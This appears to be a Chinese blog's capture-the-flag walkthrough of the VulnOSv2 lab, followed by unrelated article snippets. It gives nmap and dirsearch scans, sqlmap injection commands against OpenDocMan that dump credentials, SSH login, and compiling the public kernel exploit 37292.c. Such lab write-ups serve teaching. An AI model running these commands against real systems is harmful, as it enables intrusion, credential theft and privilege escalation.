【VulnOSv2靶场渗透】

文章目录

一、基础信息

二、信息收集

三、漏洞探测

四、提权


一、基础信息

Kali IP:  192.168.20.146

靶机IP:192.168.20.152

二、信息收集

nmap -sS -sV -p- -A 192.168.20.152

开放了22、80、6667等端口

22端口:openssh 6.6.1p1

80端口:apache httpd 2.4.7

6667端口: irc ngircd

访问一下80端口

识别到cms为:drupal 7,后台编程语言:php 5.5.9

页面website处有一个链接,查看源码可查看到,拼接地址进行跳转

http://192.168.20.152/jabc/

页面处没有获取到更多信息,扫描一下当前目录

dirsearch -u http://192.168.20.152/jabc/ -x 403

有robots文件,将robots文件路径保存下,然后用dirb跑一下

下面看到能够访问到疑似登陆界面的路径,访问一下

http://192.168.20.152/jabc/?q=user

但是这里尝试了爆破密码和sql注入都没结果

三、漏洞探测

于是尝试用awvs扫描一下,发现了漏洞信息

但是命令执行并没有成功利用,可能是我方式不对?

继续点击页面,点击document页面时发现了不一样的地方,页面无显示,但是选中时发现了隐藏信息

拼接新路径访问:http://192.168.20.152/jabcd0cs/

底部是:OpenDocMan 1.2.7,该页面存在OpenDocMan框架,查看是否存在EXP!

Awvs扫描结果

显示有一些xss漏洞

Kali搜索:searchsploit OpenDocMan 1.2.7

提示可能有sql注入,根据提示路径尝试sqlmap爆破

sqlmap -u "http://192.168.20.152/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --risk=3 --level=5  --dbs

爆出数据库用户名密码

sqlmap -u "http://192.168.20.152/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --risk=3 --level=5 -D jabcd0cs -T odm_user -C id,email,password --dump

这里爆出两个用户

webmin: webmin1980

guest: guest

这里也可以爆mysql数据库的账户信息,最终可得到mysql账户密码为:root/toor

有了账户密码,直接尝试ssh登录

四、提权

1、Sudo与suid位提权方式经测试无法利用

2、计划任务没有特别的

find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt

grep '\*' /tmp/cron.txt

3、查看当前运行的服务和开放的端口情况,mysql不是以root权限运行,无法udf提权

Netstat -anpt

Ps -aux | grep mysql

4、查看内核版本

Uname -a ;cat /etc/*release

Linux 3.13 Ubuntu 14.04.4

searchsploit Ubuntu 14.04


 

locate linux/local/37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root
python -m http.server 8091
gcc 37292.c -o tiquan
Chmod +x tiquan

此外还有其他漏洞利用和提权方式,可自行参考其他师傅wp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/944676.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java项目中使用swagger生成接口文档

1、导入依赖 <!-- swagger2 --><dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger2</artifactId><version>2.9.2</version></dependency><dependency><groupId>io.springfox<…

【潜意识Java】深入详细理解分析Java中的toString()方法重写完整笔记总结,超级详细。

目录 一、toString() 方法是啥&#xff1f; &#xff08;一&#xff09;默认的 toString() 方法 &#xff08;二&#xff09;toString() 方法的作用 二、为啥要重写 toString() 方法&#xff1f; &#xff08;一&#xff09;提高代码的可读性 &#xff08;二&#xff09;…

AWS Certified AI Practitioner 自学考试心得

学习目标&#xff1a; 考取 AWS Certified AI Practitioner 那什么是 AWS Certified AI Practitioner 认证 是基础级的认证 比较简单 — 学习内容&#xff1a; 1. AWS网站自学网站 极客时间免费课程&#xff1a;http://gk.link/a/12sJL 配合极客时间课程的章节测试检验自…

Python 爬虫

一、创建项目 1.双击打开pycharm&#xff0c;点击新建项目 2.项目设置- 勾选[继承全局站点软件包]- 勾选[可用于所有项目]- 取消勾选[创建main.py欢迎脚本]- 点击创建 3.项目名称右键--新建--python文件 4.输入文件名--回车二、编辑代码 # 导入请求模块 import requests # 如…

瑞芯微全新芯片平台RK3506优势详解,高集成低功耗,为工业而生 触觉智能测评

RK3506是瑞芯微Rockchip在2024年第四季度全新推出的Arm嵌入式芯片平台&#xff0c;三核Cortex-A7单核Cortex-M0多核异构设计&#xff0c;CPU频率达1.5Ghz, M0 MCU为200Mhz。 而RK3506芯片平台下的工业级芯片型号RK3506J&#xff0c;具备-40-85℃的工业宽温性能、发热量小&#…

HarmonyOS NEXT应用开发实战:一分钟写一个网络接口,JsonFormat插件推荐

在开发鸿蒙操作系统应用时&#xff0c;网络接口的实现往往是一个繁琐且重复的过程。为了提高开发效率&#xff0c;坚果派(nutpi.net)特别推出了一个非常实用的插件——JsonFormat。这款插件的主要功能是将JSON格式的数据直接转换为arkts的结构定义&#xff0c;让我们在编写接口…

Unity-Editor扩展显示文件夹大小修复版 FileCapacity.cs

实战中是这样的,大项目, 容易定位美术大资产 (原版的代码有问题,每次点运行都会卡顿,大项目20S) //但其实获整个项目内容,1G都没有,有够省的(10年前的中型项目,一直有出DLC) using System; using System.Collections; using System.Collections.Generic; using Sy…

LLM 应在时间序列和语言交叉领域的其他任务应用

Are Language Models Actually Useful for Time Series Forecasting? OneFitsAll、Time - LLM、LLaTA “Are Language Models Actually Useful for Time Series Forecasting?” 探讨了语言模型在时间序列预测中的应用效果。研究通过对三种基于 LLM 的预测方法进行消融实验,…

链路聚合

链路聚合 目的&#xff1a;备份链路以及提高链路带宽。 链路聚合技术&#xff08;Eth-Trunk&#xff09;&#xff1a;将多个物理接口捆绑成一个逻辑接口&#xff0c;将N条物理链路逻辑上聚合为一条逻辑链路。 正常情况下&#xff0c;想要配置链路聚合 1、A设备通过多条链路连接…

IDEA设置作者信息 日期等

file -> setting 或 ctrl alt s找到如下 然后添加注释即可 可以直接编辑5处的文字&#xff0c;在 author 后放自己的名字即可 /*** author 你的名字* date ${DATE} ${TIME})*/当然 整体不止这些 &#xff0c;看下面的描述中&#xff0c;还有很多其他选项 也可以 4 这…

Lumos学习王佩丰Excel第二十三讲:饼图美化与PPT图表

一、双坐标柱形图的补充知识 1、主次坐标设置 2、主次坐标柱形避让&#xff08;通过增加两个系列&#xff0c;挤压使得两个柱形挨在一起&#xff09; 增加两个系列 将一个系列设置成主坐标轴&#xff0c;另一个设成次坐标轴 调整系列位置 二、饼图美化 1、饼图美化常见设置 …

五、CentOS7/CentOS8安装APISIX(1)

目录 &#x1f33b;&#x1f33b; 一、 Apache APISIX介绍1.1 什么是Apache APISIX1.2 APISIX架构1.3 Apache APISIX 的技术优势1.4 APISIX‌应用场景 二、APISIX快速开始2.1 centos7/centos8安装APISIX 一、 Apache APISIX介绍 1.1 什么是Apache APISIX Apache APISIX 是一个…

SpringBoot(Ⅱ-2)——,SpringBoot版本控制,自动装配原理补充(源码),自动导包原理补充(源码),run方法

SpringBoot的版本控制是怎么做的 starter版本控制 SpringBoot的核心父依赖&#xff0c;下面导入的所有starter依赖都不需要指定版本&#xff0c;版本默认和spring-boot-starter-parent的parent版本一致&#xff1b; xxxstarter内部jar包依赖的版本管理&#xff0c;starter自…

数据结构-map和set

一&#xff0c;二叉搜索树 搜索树的特点&#xff1a; 若它的左子树不为空&#xff0c;则左子树上所有节点的值都小于根节点的值 。若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于根节点的值 。它的左右子树也分别为二叉搜索树 实现一棵搜索树&#xff08;链式…

JavaScript甘特图 dhtmlx-gantt

背景 需求是在后台中&#xff0c;需要用甘特图去展示管理任务相关视图&#xff0c;并且不用依赖vue&#xff0c;兼容JavaScript原生开发。最终使用dhtmlx-gantt&#xff0c;一个半开源的库&#xff0c;基础功能免费&#xff0c;更多功能付费。 甘特图需求如图&#xff1a; 调…

SQLite本地数据库的简介和适用场景——集成SpringBoot的图文说明

前言&#xff1a;现在项目普遍使用的数据库都是MySQL&#xff0c;而有些项目实际上使用SQLite既足矣。在一些特定的项目中&#xff0c;要比MySQL更适用。 这一篇文章简单的介绍一下SQLite&#xff0c;对比MySQL的优缺点、以及适用的项目类型和集成SpringBoot。 1. SQLite 简介 …

python编译环境安装

一、安装pycharm 下载pycharm-professional-2022.2.5.exe, 根据网上找的破解安装方法进行安装&#xff0c;然后激活。 二、安装python 启动pycharm创建第一个工程时会要求选择python解释器版本&#xff0c;并自动安装。默认安装路径为&#xff1a; C:\Users\Administrator\…

仓颉编程笔记1:变量函数定义,常用关键字,实际编写示例

本文就在网页版上体验一下仓颉编程&#xff0c;就先不下载它的SDK了 基本围绕着实际摸索的编程规则来写的 也没心思多看它的文档&#xff0c;写的不太明确&#xff0c;至少我是看的一知半解的 文章提供测试代码讲解、测试效果图&#xff1a; 目录 仓颉编程在线体验网址&…

学习记录—正则表达式-基本语法

正则表达式简介-《菜鸟教程》 正则表达式是一种用于匹配和操作文本的强大工具&#xff0c;它是由一系列字符和特殊字符组成的模式&#xff0c;用于描述要匹配的文本模式。 正则表达式可以在文本中查找、替换、提取和验证特定的模式。 本期内容将介绍普通字符&#xff0c;特殊…

剑指Offer|LCR 014. 字符串的排列

LCR 014. 字符串的排列 给定两个字符串 s1 和 s2&#xff0c;写一个函数来判断 s2 是否包含 s1 的某个变位词。 换句话说&#xff0c;第一个字符串的排列之一是第二个字符串的 子串 。 示例 1&#xff1a; 输入: s1 "ab" s2 "eidbaooo" 输出: True 解…